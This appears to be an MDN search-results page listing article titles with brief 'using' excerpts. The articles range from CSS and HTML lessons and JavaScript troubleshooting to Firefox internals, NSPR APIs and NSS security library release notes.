if the online editor you are using doesn't have a separate css panel, feel free to put it in a <style> element in the head of the document.
... the same color for the text; make it readable using a black text shadow.
Fundamental CSS comprehension - Learn web development
if the online editor you are using doesn't have a separate css panel, feel free to put it in a <style> element in the head of the document.
...using any technique that you know, track these down and fix them before moving on.
Combinators - Learn web development
i am using the child combinator to select only the <li> elements which are a direct child of a <ul>, and have given them a top border.
... using combinators you can combine any of the selectors that we discovered in previous lessons with combinators in order to pick out part of your document.
Test your skills: values and units - Learn web development
task one in this task, the first list item has been given a background color using hex color codes.
... your task is to complete the css using the same color in different formats, plus a final list item where you should make the background semi-opaque.
create fancy boxes - Learn web development
*/ border-bottom-left-radius: 0; } blockquote a more practical example of using pseudo-elements is to build a nice formatting for html <blockquote> elements.
... the box-shadow property allow us to create inner light and a flat drop shadow effect, but with some little extra work it becomes possible to create a more natural geometry by using pseudo-element and the transform property.
Use CSS to solve common problems - Learn web development
LearnCSSHowto
how to change the box model completely using box-sizing how to control backgrounds how to control borders how to style an html table how to add shadows to boxes uncommon and advanced techniques css allows some advanced design techniques.
... general how to calculate specificity of a css selector how to control inheritance in css advanced effects how to use filters in css how to use blend modes in css layout using css flexible boxes using css multi-column layouts using css generated content ...
Typesetting a community school homepage - Learn web development
if the online editor you are using doesn't have a separate css panel, feel free to put it in a <style> element in the head of the document.
... give your headings and other element types appropriate font-sizes defined using a suitable relative unit.
How do I use GitHub Pages? - Learn web development
this article provides a basic guide to publishing content using github's gh-pages feature.
...it will look something like this: note: you could also consider using a git graphical user interface to do the same work, if you feel uncomfortable with the command line.
What are browser developer tools? - Learn web development
how to open the devtools in your browser the devtools live inside your browser in a subwindow that looks roughly like this, depending on what browser you are using: how do you pull it up?
... if not, firefox allows you to open the console directly using ctrl + shift + k or using the menu command: menu ➤ web developer ➤ web console, or tools ➤ web developer ➤ web console.
Common questions - Learn web development
this article provides a basic guide to publishing content using github's gh-pages feature.
... this set of articles shows you how to use the developer tools in firefox to debug and improve performance of your website, using the tools to check memory usage, the javascript call tree, the number of dom nodes being rendered, and more.
Web forms — Working with user data - Learn web development
introductory guides your first form the first article in our series provides your very first experience of creating a web form, including designing a simple form, implementing it using the right html elements, adding some very simple styling via css, and how data is sent to a server.
...(see also using formdata objects.) css property compatibility table for form controls this last article provides a handy reference allowing you to look up what css properties are compatible with what form elements.
Dealing with files - Learn web development
using your text editor, create a new file called index.html and save it just inside your test-site folder.
...so for example, if index.html was inside a subfolder of test-site and my-image.jpg was inside test-site, you could reference my-image.jpg from index.html using ../my-image.jpg.
HTML basics - Learn web development
for example, content could be structured within a set of paragraphs, a list of bulleted points, or using images and data tables.
... something has gone wrong causing the image not to display.
HTML Cheatsheet - Learn web development
while using html it can be very handy to have an easy way to remember how to use html tags properly and how to apply them.
...it's always possible to totally change the look and feel of a given tag using css so, when using html, take the time to focus on the meaning rather than the appearance.
Debugging HTML - Learn web development
objective: learn the basics of using debugging tools to find problems in html.
... in the dom inspector, you can see what the rendered markup looks like: using the dom inspector, let's explore our code in detail to see how the browser has tried to fix our html errors (we did the review in firefox; other modern browsers should give the same result): the paragraphs and list items have been given closing tags.
Marking up a letter - Learn web development
create a new .html file using your text editor or use an online tool such as codepen, jsfiddle, or glitch to complete the tasks.
... the head of the document the character set of the document should be set as utf-8 using the appropriate meta tag.
Multimedia and Embedding - Learn web development
we've looked at a lot of text so far in this course, but the web would be really boring only using text.
...in this article we'll look at how to use it in more depth, including basics, annotating it with captions using <figure>, and how it relates to css background images.
Client-side web APIs - Learn web development
this is usually done by using the document object model (dom), a set of apis for controlling html and styling information that makes heavy use of the document object.
...displaying custom google maps on your site, or using facebook login to log in your users).
What went wrong? Troubleshooting JavaScript - Learn web development
line 48 is using a document.queryselector() method to get a reference to an element by selecting it with a css selector.
...for example, if we were to change this line inside checkguess(): if (userguess === randomnumber) { to if (userguess = randomnumber) { the test would always return true, causing the program to report that the game has been won.
Solve common problems in your JavaScript code - Learn web development
the object must be surrounded by curly braces, member names must be separated from their values using colons, and members must be separated by commas.
...adding or removing elements) using javascript?
Adding features to our bouncing balls demo - Learn web development
if the online editor you are using doesn't have separate javascript/css panels, feel free to put them inline <script>/<style> elements inside the html page.
...our game is only going to involve one evil circle, but we are still going to define it using a constructor that inherits from shape() to give you some practice.
Test your skills: Object-oriented JavaScript - Learn web development
oojs 2 next up we want you to take the shape class you saw in task #1 (including the calcperimeter() method) and recreate it using es class syntax instead.
... test that it works by creating the square and triangle object instances as before (using new shape() for both), and then calling their calcperimeter() methods.
Test your skills: Object basics - Learn web development
object basics 1 in this task you are provided with an object literal, and your tasks are to store the value of the name property inside the catname variable, using bracket notation.
... run the greeting() method using dot notation (it will log the greeting to the browser devtools' console).
Multimedia: Images - Learn web development
and finally, should you want to include animated images into your page, then know that safari allows using video files within <img> and <picture> elements.
... html performance features css performance features fonts and performance mobile performance focusing on performance ...
Multimedia: video - Learn web development
the audio is often empty, but still present, and still using bandwidth.
... html performance features css performance features fonts and performance mobile performance focusing on performance ...
Getting started with Ember - Learn web development
first, enter into your todomvc directory in the terminal, for example using cd todomvc in macos/linux.
...entization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores ...
Ember app structure and componentization - Learn web development
using the cli to create our components for us so to represent our app, we want to create 4 components: header list individual todo footer to create a component, we use the ember generate component command, followed by the name of the component.
...entization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores ...
Componentizing our React app - Learn web development
we gave our <todo /> some props, but we aren't using them yet.
...entization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores ...
Understanding client-side web development tools - Learn web development
client-side tooling can be intimidating, but this series of articles aims to illustrate the purpose of some of the most common client-side tool types, explain the tools you can chain together, how to install them using package managers, and control them using the command line.
...we push the code to github, deploy it using netlify, and even show you how to add a simple test into the process.
Adding a new CSS property
if you need custom parsing code, this can be inserted at one of two different places: you can override the entire property value parsing by using css_property_parse_function, which is generally the right thing to do for shorthand properties.
... (note that when the longhand property css_property_parse_value_list, the shorthand property parser would be assumed to be reusing the longhand parser once per item, not for a whole list, as for properties like background-image or transform-timing-function.) if the property takes a list of keywords other than inherit/initial/etc., auto, none, or normal (which can be expressed using the variant_* flags), you should use variant_keyword and add a keyword table to the nscssprops class.
Adding a new word to the en-US dictionary
get into the dictionary sources directory using this command: cd extensions/spellcheck/locales/hunspell/dictionary-sources there's a special script used for editing dictionaries.
... the script only works if you have the environment variable editor set to the executable of an editor program; if you don't have it set, you can do editor=vim sh edit-dictionary to edit using vim (or you can substitute some other editor), or you can just do sh edit-dictionary if you have an editor already specified.
Android-specific test suites
all of the suites are configured by and invoked using gradle.
... using this suite will allow the code to be analyzed to spot any design flaws or potential bugs.
Command line options
using command line options command line options follow the command to start the application.
...also when using this argument a new instance is created in any case.
Continuous Integration
talos performance tests all performance tests displayed in treeherder are run using the talos framework, and denoted by the letter t.
... talos is used to execute several suites for desktop firefox and firefox for android; these suites are denoted using lower-case letters, e.g., t(c d g1 o s tp).
Creating a Firefox sidebar
try to avoid using it.
...try to avoid using it.
Creating a Login Manager storage module
if you just want to use the login manager in your extensions, refer to the article using nsiloginmanager.
... to see some debugging output in the console set signon.debug to true using about:config.
Creating reftest-based unit tests
the reason for using the 'mozreftestinvalidate' event is because a document's initial painting is not typically finished when the 'load' event fires.
... it would be possible to try and wait for the initial rendering to be done using a settimeout, but that would be unreliable, and just as bad, it can increase the time it takes to run a test many times over (which when you're running thousands of tests can really slow things down).
Creating Sandboxed HTTP Connections
to create an nsiuri from an string, we use the newuri method of nsiioservice: // the io service var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); // create an nsiuri var uri = ioservice.newuri(myurlstring, null, null); once the nsiuri has been created, a nsichannel can be generated from it using nsiioservice's newchannelfromuri method: // get a channel for that nsiuri var channel = ioservice.newchannelfromuri(uri); to initiate the connection, the asyncopen method is called.
...in order to manipulate cookies, the nsichannel needs to be converted into a nsihttpchannel by using queryinterface (qi): var httpchannel = asubject.queryinterface(components.interfaces.nsihttpchannel); cookies are actually part of the http header, nsihttpchannel provides four methods for working with headers: two for getting and setting request headers, and two for getting and setting response headers.
Adding APIs to the navigator object
starting with gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6), you can easily add new apis to the window.navigator object by using the category manager.
... using a manifest to add an object to navigator you can also add an object to the window.navigator object by using the chrome manifest of an add-on: component {ffffffff-ffff-ffff-ffff-ffffffffffff} mycomponent.js contract @mozilla.org/mycomponent;1 {ffffffff-ffff-ffff-ffff-ffffffffffff} category javascript-navigator-property mycomponent @mozilla.org/mycomponent;1 generate a guid and replace the "fff...
How Mozilla's build system works
the file is generated from a file called configure.in, which is written in m4 and processed using autoconf 2.13 to create the final configure script.
... makefile examples standard makefile header installing headers using exports compiling interfaces using xpidlsrcs installing a javascript component building a component dll building a static library building a dynamic library makefiles - best practices and suggestions makefile - targets makefile - variables, values makefile - *.mk files & user config building libraries there are three main types of libraries that are built in mozilla: components are...
Simple Sunbird build
you can build a bleeding-edge, development version of sunbird using the commands below.
... windows: if you're using windows xp, you must have windows xp service pack 2 and .net framework 2.0.
Creating Custom Events That Can Pass Data
using this technique you can add extra parameters and query them.
... nsdomevent* it = new nsdommyevent(aprescontext, aevent); if (nsnull == it) { return ns_error_out_of_memory; } return callqueryinterface(it, adomevent); } in general though i'd strongly recommend using a function the way that everyone else does.
mach
how is building with mach different from building with client.mk, from using make directly?
... the arguments registered with @commandargument are passed to your method as keyword arguments using the **kwargs calling convention.
Multiple Firefox profiles
while using the nightly channel, you may encounter some add-ons that have become temporarily incompatible with new api changes, until the add-on developer has a chance to update them.
... using the profiles windows if you want to have the profile manager to pop up each time you start firefox, so you can choose a profile, you will need to edit the "target" of the launch icon.
Limitations of frame scripts
if you want a chrome window: send a message from the content process using the message manager.
... nsiaboutmodule by default, custom about: pages registered using nsiaboutmodule are loaded in the chrome process.
Frame script environment
in particular, note that a frame script accesses the dom window using content, not window: // frame script var links = content.document.getelementsbytagname("a"); all of the frame scripts running in a tab share this global.
...you can still access the global directly using this.
Limitations of frame scripts
if you want a chrome window: send a message from the content process using the message manager.
... nsiaboutmodule by default, custom about: pages registered using nsiaboutmodule are loaded in the chrome process.
Site Identity Button
if the site identity button on your site shows something you do not expect (for example, an orange warning triangle when you expect a green padlock) you can find out the cause of the problem by looking in the web console in the firefox developer tools: ensure your web console is displaying messages in the 'security' category force-refresh the page on your site that is causing problems watch for any security messages that may appear a downgraded security ui will be due to one of these three problems: mixed content - while your page has been served over tls, but subresources loaded for your page have not.
... use of a weak cipher - in this case, you're using tls but a strong cipher was not available.
Firefox UI considerations for web developers
providing a top sites ready icon the simple rule is to provide an icon which is at least 96x96 pixels in size, using a <link> element whose rel attribute is a reference to a file containing an icon of a supported type.
...you can't specify the size for rel="icon" using the sizes attribute.
Firefox
here you can learn about how to contribute to the firefox project and you will also find links to information about the construction of firefox add-ons, using the developer tools in firefox, and other topics.
... firefox profiles if you find yourself using multiple firefox channels—or just multiple configurations—on a regular basis, you should read how to use multiple firefox profiles by turning firefox's profile manager and other profile management tools to your advantage.
Chrome-only API reference
MozillaGeckoChromeAPI
it currently works in (privileged) chrome code on firefox desktop (version 47 and above).chromeworkerif you're developing privileged code, and would like to create a worker that can use js-ctypes to perform calls to native code, you can do so by using chromeworker instead of the standard worker object.
...examples of chromeworker's using js-ctypes are availabe on github and are linked to from the see also section below.
Embedding the editor
composer embedded in a xul application developers need to embed composer widgets in their xul applications, by using the <editor> tag as we do today.
...the composer chrome (toolbars etc) may be implemented by the embedder using native widgets, or using some amount of xul.
Embedding Tips
the default useragent is set using the value from your application.ini/nsxreappdata.
... you can override this default using the "general.useragent.override" preference.
Gecko Keypress Event
if the os-provided character cannot be entered without using the ctrl key, then, gecko does not replace the character.
...this makes it impossible for users to distinguish between accesskeys using two different characters on the same key (when the shift modifier is usually used to select one of the characters).
Gecko
products using the same version of gecko have identical support for web standards.
... embedding mozilla using gecko in your own application.
IPDL Best Practices
using ipdl generated structs as data structures outside of ipc serialization/deserialization ipdl generated structures are meant to facilitate serialization/deserialization and message passing.
...a good example of this problem is the amount of memory management bugs that we have had with using surfacedescriptor directly everywhere.
Creating a New Protocol
writing the tests protocols which are managed by pbrowser must be tested using the mochitest-chrome test framework with a <browser remote="true">.
...it may be possible to test protocols unrelated to a particular window using the xpcshell testing framework, which has additional primitives in electrolysis for launching and running js commands in a content process.
Extending a Protocol
this will matter later, as we will need to convert it to utf-8 (using nscstring) to send it to the parent process.
... this part can be a bit confusing, so if in doubt see the final implementation of pecho as a diff in phabricator.
Infallible memory allocation
choosing a memory allocator as you write new code that needs to allocate memory, there are some simple rules to follow to help you decide whether to use a fallible or an infallible memory allocator: if you're allocating what may be a large chunk of memory, you should allocate the memory fallibly (using malloc() for example), and check the result to be sure it's not null.
...when using these, you must check to ensure the resulting value isn't null before attempting to use the returned memory.
Integrated Authentication
mozilla also supports raw ntlm authentication using an internal implementation (based on the documentation provided by eric glass) that supports ntlmv1/lmv1 and ntlm2 session key modes.
...on older versions of windows this hash is computed using a relatively weak algorithm (see hertel for more info on ntlm authentication).
JavaScript Tips
prefer to loop through childnodes rather than using first/lastchild with next/previoussibling.
... xul also maps other useful properties and methods using xbl bindings; these vary from element to element.
DownloadLastDir.jsm
to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/downloadlastdir.jsm"); if you are using addon sdk, you can import the code module as: let { cu } = require("chrome"); let downloadlastdir = cu.import("resource://gre/modules/downloadlastdir.jsm").downloadlastdir; once you've imported the module, you can then use the downloadlastdir object it exports.
... using the downloadlastdir object to determine or set the path into which the last download occurred: // file is an nsifile var file = downloadlastdir.file; downloadlastdir.file = file; you can also set and retrieve this information on a site-by-site basis.
DownloadList
a reference to a downloadlist object can be obtained using the downloads.getlist() function.
...removeview() removes a view that was previously added using addview().
DownloadSummary
a reference to a downloadsummary object can be obtained using the downloads.getsummary() function.
...removeview() removes a view that was previously added using addview().
Log.jsm
progress is tracked in bugzilla using dependencies of bug 451283.
... config information regarding important configuration options the system is using that affect how it runs.
Promise
promises may also be created using the new promise() constructor.
...you can register a rejection callback on the returned promise instead (using catch() or then()), to process any exception occurred in either of the callbacks registered on this promise.
PromiseWorker.jsm
main thread file the basepromiseworker object needs to be imported: const { utils: cu } = components; const { basepromiseworker } = cu.import('resource://gre/modules/promiseworker.jsm', {}); let myworker = new basepromiseworker('path_to_worker_file.js'); you're now ready to start using promiseworker.
...if any of the arguments needs to be transferred instead of copied, this may be specified by making the argument an instance of basepromiseworker.meta or by using the atransferlist argument.
WebChannel.jsm
the webchannel.jsm javascript code module provides an abstraction that uses the message manager and custom events apis to create a two-way communication channel between chrome and content code for specific origins (using a specific origin passed to the constructor or a lookup with nsipermissionmanager while also ensuring the scheme is https).
... parameters none send() sends messages over the webchannel id using the "webchannelmessagetocontent" event.
openLocationLastURL.jsm
(bug 953124) the openlocationlasturl.jsm javascript code module lets you set and retrieve the url most recently opened using the "open location" option in the file menu.
...using the openlocationlasturl object to get or set the value of the open location edit box, simply read the value of, or set the value of, the openlocationlasturl.value field: var url = openlocationlasturl.value; openlocationlasturl.value = "http://www.mozilla.org/"; to reset the value of the edit box to the default (which is an empty string), you can call the reset() method: method overview ...
Localizing XLIFF files for iOS
most translation tools support the xliff standard, making localizing the xliff files for firefox for ios easy to do using translation tools.
... commiting your xliff file using this command, commit your translated xliff file into your locale's directory: git commit -m "commit message here" .
Localizing with Pontoon
note that for our purposes here, we'll be using firefox affiliates website to demo pontoon's functionality and workflow.
... translate strings when using pontoon for localization, you have a couple of options to translate your strings.
Localizing without a specialized tool
from the create a new localization document, an interested localizer can follow a technical step-by-step process that starts the localization process by focusing on how to localize two of the primary types of localization files (dtd and properties) used in the mozilla source code.
... folder structure throughout this document, we will be using the following folder structure in all examples: your working directory (root) mozilla-1.9.2 (en-us source, pulled from http://hg.mozilla.org/releases/mozilla-1.9.2) l10n-mozilla-1.9.2 (a directory containing localization directories, one dir per localization; often referred to as "l10n base") x-testing (a directory with your localization files) please either follow this structure closely ...
Patching a Localization
get the source first, you need to get the source for the localization in question using its two or three character iso language code.
... cd ~/localization-workdir/gl create a patch (also known as a diff) using the diff command.
TraceMalloc
ideally, these would be freed explicitly, to make it easier to find real leaks using the shutdown log.
...run using both the --trace-malloc and --shutdown-leaks options.
Performance
gpu performance tips for profiling and improving performance when using a gpu.
... profiling with zoom zoom is a profiler for linux done by the people who made shark measuring performance using the perfmeasurement.jsm code module using perfmeasurement.jsm to measure performance data in your javascript code.
A guide to searching crash reports
grouping you can cluster the results of each search into groups using the same criteria.
...these results would be improved by using numeric ranges instead of individual values, but unfortunately that isn't supported.
Crash reporting
crash data submitted using the mozilla crash reporter is located on crash-stats.
... finally, a set of mozilla employees have access to directly query the underlying data in either sql summary or using mapreduce on the storage cluster.
Localization Use Cases
this article documents a few opportunities to improve the localization of gaia (the ui layer of firefox os) by using l20n.
...consequently, using the existing localization frameworks, the developer needs to predict which strings might need pluralization in other languages, and pluralize them even in english: availablesize = {[ plural(size) ]} availablesize[other] = {{$size}} {{$unit}} available an italian translation might look like this: availablesize = {[ plural(size) ]} availablesize[one] = {{$size}} {{$unit}} disponibile availables...
Leak And Bloat Tests
method current method: measure leaks and bloats, in a similar way to firefox (using xpcom_mem_leak_log and --trace-malloc).
... the method of testing memory bloat and leaks will be the same sequence of events, using the same set of test data.
MailNews automated testing
testing frameworks the asynctestutils extended framework supports: asynchronous test operation: a reasonably convenient means of writing tests that involve asynchronous operations by using generators.
... message injection: inject synthesized messages via local or imap (using a fake server).
McCoy
you should give the key a name that will remind you what you are using it for.
... it is up to you how you use your keys, either using one key for all add-ons or one key per add-on would seem sensible choices.
NSPR Contributor Guide
that said: there are some libraries that implement functions intended for use with applications using nspr, such as ...nsprpub/lib/libc/plgetopt.*.
... platform abstractions you agree to sustain, bug fix may rely on the nspr api may not rely on any other library api new platform ports all nspr api items must be implemented platform specific headers in pr/include/md/_platformname.[h!cfg] platform specific code in pr/src/md/platform/*.c make rules in config/_platform.mk documentation the files for nspr's documentation are maintained using a proprietary word processing system [don't ask].
NSPR Poll Method
the nspr library provides a reference implementation of the bottom layer using the sockets api, but you can provide your own implementation of the bottom layer using another network transport api.
...if you are using your own implementation of the bottom layer, you must call the poll method as follows.
NSPR release procedure
before you run repackage.sh, you need to have built the binary distributions using the "gmake release" makefile target.
...we recommend using https://ftp.mozilla.org/.
Nonblocking IO In NSPR
one can make the new socket nonblocking by using <tt>pr_setsockopt()</tt> as in the example below (error checking is omitted for clarity): <tt>prfiledesc *sock;</tt> <tt>printn optval = 1;</tt> <tt>sock = pr_newtcpsocket();</tt> /* * make the socket nonblocking */ pr_setsockopt(sock, pr_sockopt_nonblocking, &optval, sizeof(optval)); programming constraints there are some constraints due to the use of nt asynchronous i/o in the nspr.
...i have seen some strange problems with using a nonblocking socket associated with an i/o completion port.
Process Forking in NSPR
the threads provided in netscape portable runtime (nspr) are implemented using different mechanisms on the various platforms.
...so, to be consistent across all platforms, it is suggested that when using fork in a nspr thread; the exec function should be called in the child process.
Dynamic Library Linking
platform notes to use the dynamic library loading functions on some platforms, certain environment variables must be set at run time, and you may need to link your executable programs using special linker options.
...alternatively, you can enable the +s option as a postprocessing step using the chatr tool.
IPC Semaphores
this chapter describes the nspr api for using interprocess communication semaphores.
... nspr provides an interprocess communication mechanism using a counting semaphore model similar to that which is provided in unix and windows platforms.
Logging
conditional compilation and execution log types and variables logging functions and macros use example conditional compilation and execution nspr's logging facility is conditionally compiled in and enabled for applications using it.
... to enable nspr logging and/or the debugging aids in your application, compile using the nspr debug build headers and runtime.
PR_NormalizeTime
adjusts the fields of a clock/calendar time to their proper ranges, using a callback function.
... description this function adjusts the fields of the specified time structure using the specified time parameter callback function, so that they are in the proper range.
PR_PushIOLayer
description a file descriptor for a layer (possibly allocated using pr_createiolayerstub) may be pushed onto an existing stack of file descriptors at any time.
...if the original container was allocated using a different mechanism than used by the runtime, the default calling of the layer's destructor by the runtime will fail pr_createiolayerstub is provided to allocate layer objects and template implementations).
PR_dtoa
description this function converts the specified floating point number to a string, using the method specified by mode.
... 4,5,8,9 same as modes 2 and 3, but usingleft to right digit generation.
NSPR
legacy nspr content older nspr content is available in svn for browsing and/or migration to this site getting nspr nspr is available in various source and binary packages, depending on your platform: windows: build the source package, using the nspr build instructions.
... opensuse linux: install one or more of the following via yast or zypper : mozilla-nspr : binary libraries for your platform mozilla-nspr-32bit : binary libraries needed to run 32-bit programs on a 64-bit os mozilla-nspr-devel : files needed (in addition to the above libraries) to compile programs using nspr mozilla-nspr-debuginfo : debug information (including build symbols) for package mozilla-nspr mozilla-nspr-debuginfo-32bit : debug information (including build symbols) for package mozilla-nspr-32bit mozilla-nspr-debugsource : debug sources for all of the above community view mozilla forums...
NSS FAQ
MozillaProjectsNSSFAQ
how do i integrate smart cards into my application using nss?
...it works with common internet standard application protocols (http, pop3, ftp, smtp, etc.) as well as custom application protocols using tcp/ip.
Introduction to Network Security Services
we guarantee that applications using the exported apis will remain compatible with future versions of those libraries.
... what you should already know before using nss, you should be familiar with the following topics: concepts and techniques of public-key cryptography the secure sockets layer (ssl) protocol the pkcs #11 standard for cryptographic token interfaces cross-platform development issues and techniques where to find more information for information about pki and ssl that you should understand before using nss, see the following: introd...
4.3.1 Release Notes
this default setting can also be changed within the application by using the following jss methods: sslserversocket.enablerenegotiation(int mode) sslsocket.enablerenegotiation(int mode) sslsocket.enablerenegotiationdefault(int mode) the mode of renegotiation that the peer must use can be set to the following: sslsocket.ssl_renegotiate_never - never renegotiate at all.
... documentation documentation for jss 4.3.1 is available as follows: build instructions for jss 4.3.1 javadoc [online] [zipped] read the instructions on using jss.
4.3 Release Notes
new sqlite-based shareable certificate and key databases by prepending the string "sql:" to the directory path passed to configdir parameter for crypomanager.initialize method or using the nss environment variable nss_default_db_type.
...https://archive.mozilla.org/pub/security/jss/releases/jss_4_3_rtm/ documentation documentation for jss 4.3 is available as follows: build instructions for jss 4.3 javadoc [online] [zipped] read the instructions on using jss.
JSS
MozillaProjectsNSSJSS
while jdk 1.4.2 is eol'd and all new product development should be using the latest javase, legacy business products that must use jdk 1.4 or 1.5 can continue to add nss/jss security fixes/enhancements.
... read using jss to get you started with development after you've built and downloaded it.
NSS 3.14.1 release notes
however, when authenticating with such tokens, it was possible for an internal lock to be acquired twice, causing a hang.
... bug 802429 - in previous versions of nss, the "cipherorder" slot configuration flag was not respected, causing the most recently added slot that supported the requested pkcs#11 mechanism to be used instead.
NSS 3.15.4 release notes
bug 919877 - (cve-2013-1740) when false start is enabled, libssl will sometimes return unencrypted, unauthenticated data from pr_recv new in nss 3.15.4 new functionality implemented ocsp querying using the http get method, which is the new default, and will fall back to the http post method.
...in addition to enabling the ssl_enable_false_start option, an application must now register a callback using the ssl_setcanfalsestartcallback function.
NSS 3.20 release notes
the server side implementation of the tls does not support session tickets while using a dhe ciphersuite (see bug 1174677).
... support for the following ciphersuites has been added: tls_dhe_dss_with_aes_128_gcm_sha256 tls_dhe_dss_with_aes_128_cbc_sha256 tls_dhe_dss_with_aes_256_cbc_sha256 by default, the server side tls implementation will use dhe parameters with a size of 2048 bits when using dhe ciphersuites.
NSS 3.22 release notes
enforce an external policy on nss from a config file (bug 1009429) you can now add a config= line to pkcs11.txt (assuming you are using sql databases), which will force nss to restrict the application to certain cryptographic algorithms and protocols.
... these functions take an explicit mechanism and parameters as arguments rather than inferring it from the key type using pk11_mapsignkeytype().
NSS 3.28 release notes
note that this detection has a one-off performance cost, which can be avoided by using the ssl_namedgroupconfig function, to limit supported groups to those that nss provides.
... nss will now check if rsa-pss signing is supported by the token that holds the private key prior to using it for tls (bug 1311950).
NSS 3.33 release notes
new in nss 3.33 new functionality when listing an nss database, using certutil -l, and the database hasn't yet been initialized with any non-empty or empty password, the text "database needs user init" will be included in the listing.
... when using certutil to set an inacceptable password in fips mode, a correct explanation of acceptable passwords will be printed.
NSS 3.39 release notes
nss 3.39 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_39_rtm/src/ new in nss 3.39 new functionality the tstclnt and selfserv utilities added support for configuring the enabled tls signature schemes using the -j parameter.
... support for these keys is disabled by default but can be enabled using ssl_signatureschemeprefset().
NSS 3.44 release notes
te sequences 1533616 - sdb_getattributevaluenolock should make at most one sql query, rather than one for each attribute 1531236 - provide accessor for certcertificate.dercert 1536734 - lib/freebl/crypto_primitives.c assumes a big endian machine 1532384 - in nss test certificates, use @example.com (not @bogus.com) 1538479 - post-handshake messages after async server authentication break when using record layer separation 1521578 - x25519 support in pk11pars.c 1540205 - freebl build fails with -dnss_disable_chachapoly 1532312 - post-handshake auth doesn't interoperate with openssl 1542741 - certutil -f crashes with segmentation fault 1546925 - allow preceding text in try comment 1534468 - expose chacha20 primitive 1418944 - quote cc/cxx variables passed to nspr 1543545 - allow to bu...
... arrives before the handshake completes can be read afterwards 1548398 - freebl_gtest not building on linux/mac 1548722 - fix some coverity warnings 1540652 - softoken/sdb.c: logically dead code 1549413 - android log lib is not included in build 1537927 - ipsec usage is too restrictive for existing deployments 1549608 - signature fails with dbm disabled 1549848 - allow building nss for ios using gyp 1549847 - nss's sqlite compilation warnings make the build fail on ios 1550041 - freebl not building on ios simulator 1542950 - macos cipher test timeouts this bugzilla query returns all the bugs fixed in nss 3.44: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.44 compatibility nss 3.44 shared li...
NSS 3.45 release notes
only relevant for clients that might have copied the unit test code verbatim bug 1550022 - ensure nssutil3 gets built on android bug 1528174 - chacha20poly1305 should no longer modify output length on failure bug 1549382 - don't leak in pkcs#11 modules if c_getslotinfo() returns error bug 1551041 - fix builds using gcc < 4.3 on big-endian architectures bug 1554659 - add versioning to openbsd builds to fix link time errors using nss bug 1553443 - send session ticket only after handshake is marked as finished bug 1550708 - fix gyp scripts on solaris sparc so that libfreebl_64fpu_3.so builds bug 1554336 - optimize away unneeded loop in mpi.c bug 1559906 - fipstest: use ckm_tls12_master_key_derive ins...
...tead of vendor specific mechanism bug 1558126 - tls_aes_256_gcm_sha384 should be marked as fips compatible bug 1555207 - helloretryrequestcallback return code for rejecting 0-rtt bug 1556591 - eliminate races in uses of pk11_setwrapkey bug 1558681 - stop using a global for anti-replay of tls 1.3 early data bug 1561510 - fix a bug where removing -arch xxx args from cc didn't work bug 1561523 - add a string for the new-ish error ssl_error_missing_post_handshake_auth_extension this bugzilla query returns all the bugs fixed in nss 3.45: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.45 compatibility nss 3.45 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.48 release notes
the master password pbe now uses 10,000 iterations by default when using the default sql (key4.db) storage.
... because using an iteration count higher than 1 with the legacy dbm (key3.db) storage creates files that are incompatible with previous versions of nss, applications that wish to enable it for key3.db are required to set environment variable nss_allow_legacy_dbm_iteration_count=1.
NSS 3.53 release notes
notable changes in nss 3.53 when using the makefiles, nss can be built in parallel, speeding up those builds to more similar performance as the build.sh/ninja/gyp system.
... bug 1561331 - additional modular inverse test bug 1629553 - rework and cleanup gmake builds bug 1438431 - remove mkdepend and "depend" make target bug 290526 - support parallel building of nss when using the makefiles bug 1636206 - hacl* update after changes in libintvector.h bug 1636058 - fix building nss on debian s390x, mips64el, and riscv64 bug 1622033 - add option to build without seed this bugzilla query returns all the bugs fixed in nss 3.53: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.53 co...
nss tech note7
(this api pretty much consists of what was needed to implement ssl and s/mime, plus a few enhancements over the years to support jss.) when using the pk11_ interfaces, the same principal applies: use the highest available function.
... sample code sample code 4: pki encryption references rsa labs pkcs #1 web site rfc 3447: rsa pkcs #1 v2.1 poupou's blog: common question: how to encrypt using rsa ...
NSS Tech Notes
tn2: using the pkcs #11 module logger.
... tn5: using nss to perform miscellaneous cryptographic operations.
NSS PKCS11 Functions
secmod_openuserdb open a new database using the softoken.
... description open a new database using the softoken.
Migration to HG
the nspr, nss and related projects have stopped using mozilla'a cvs server, but have migrated to mozilla's hg (mercurial) server.
...the first releases using the new code layout will be nspr 4.10 and nss 3.15 ...
NSS tools : ssltab
if you are using the default badcert callback, you can still connect through a dialog.
... if you are not using the default badcert callback, the one you supply must allow for this possibility.
NSS tools : ssltap
if you are using the default badcert callback, you can still connect through a dialog.
... if you are not using the default badcert callback, the one you supply must allow for this possibility.
sslintro.html
